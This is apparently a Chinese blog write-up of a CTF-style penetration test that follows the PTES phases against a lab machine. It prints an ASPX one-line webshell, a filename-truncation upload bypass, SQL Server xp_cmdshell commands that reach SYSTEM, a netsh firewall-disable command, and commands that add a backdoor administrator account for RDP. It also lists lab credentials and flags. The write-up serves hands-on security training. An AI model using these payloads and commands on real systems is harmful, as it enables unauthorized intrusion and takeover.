渗透测试报告
PTES:
以CTF比赛的形式体验PTES流程。CTF:夺旗赛。找flag。
1、前期交互:授权委托书 ,说明渗透的目标IP和端口等信息。
2003密码:admin123
此次渗透测试的目标:
获取到目标机IP地址:192.168.233.129 (我的主机号)
2、信息搜集
通过信息搜集工具,搜集目标靶机的信息,扫描出1433(sql server) 、27689端口。登录到27689端口,可以发现是一个文件上传系统。接下来寻找登录该系统的方法。由于前面发现了1433端口打开,可以判断出这个系统使用了SQL server 服务,用户的注册登录很可能是存放在sql数据库中的。查看页面源代码后发现后端使用了aspx来写,一句话木马选用对应的语句。
目录扫描
图 1-2
图1-3
图1-4
图1-5
图1-6
通过目录扫描,扫描出敏感目录:web.config.bak,发现了后端数据库的用户名和密码。
图1-7
通过数据库客户端工具navicat,登陆数据库库,查看表UserList,发现web应用的用户名和密码。(admin asdadwn_d2112)
找到了第一个flag:4k3s9m3d。
3、威胁建模
发现应用有上传功能,利用上传功能展开攻击。
4、漏洞分析
利用文件上传,上传一句话木马getshell等实现攻击。
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
![在这里插入图片描述](https://img-blog.csdnimg.cn/90815ec12de143f5bdfbbac060144364.png)
5、渗透测试
当我写好一句话木马的PHP文件上传的时候它提醒我不能上传这类文件,这让我非常头疼。
查看页面源码之后,我发现再前端的界面并没有提及对于文件格式的验证,查阅资料后发现对文件格式的验证有本地限制和服务器防御两种,服务器防御的可能性比较大,后面我尝试了一下关闭JS语言,发现点击上传之后就没有反应了,可见的确是服务器防御。
接下来开始想办法绕过服务器防御。
这里采用抓包技巧获得传出的数据包,修改此处的数据类型可能可以绕过服务器防御。我传了一张图片来看它到底会接受哪一种类型的数据。
在尝试后发现修改后缀名会直接影响文件能否上传,我改了一些奇奇怪怪的后缀,发现都不能上传,可以预测这应该是一个白名单检验。在多次修改数据包文件后还是未能实现攻击。在与同学讨论后发现文件名命名规则的缺陷,超过32位的文件名会自动截断,时间戳会自动加上19位,我们只需要将文件名命名为19+13位即可。于是将文件名改为如图所示,就可以上传成功。
之后对C盘下Administrator文件夹内容进行访问发现拒绝访问,需要权限提升
之后通过浏览web目录发现历史web.config
进一步获取sa的账号密码信息,不得不说这为我们权限提升提供了最大的助力:
发现出现了中文乱码,但是不影响我们获取数据库账号密码
之后通过执行SQL语句来查看权限,可以看到已然是system权限了,而这也是因为SQLServer默认是以system权限运行的,外加上sa权限导致我们可以直接获取到system权限:
use master;
exec master..xp_cmdshell "whoami";
![在这里插入图片描述](https://img-blog.csdnimg.cn/06d25d7625864d7ba7fda42e5dcb4a45.png)
关防火墙
下面我们要做的就是关闭防火墙开RDP了,在这里为了执行系统命令我们首先开启XP_cmdshell:
use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
![在这里插入图片描述](https://img-blog.csdnimg.cn/6df639c71d804cbeb0d41dde72e44ad9.png)
之后关闭防火墙:
```php
EXEC master.dbo.xp_cmdshell 'netsh firewall set opmode disable'
![在这里插入图片描述](https://img-blog.csdnimg.cn/ffe3064494334ea8b3f350f11835e2b5.png)
开启RDP
下一步自然而然就是开启RDP进行远程链接了,命令如下:
、![在这里插入图片描述](https://img-blog.csdnimg.cn/57ba81738b6b4aadb7616507757fcf34.png)
添加用户
为了实现RDP远程链接我们还需要创建一个用户账号并将其添加到管理员组:
```c
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
远程连接
之后使用之前创建的账号进行远程链接操作:
之后我们在桌面成功获取到Key:所有任务到此结束!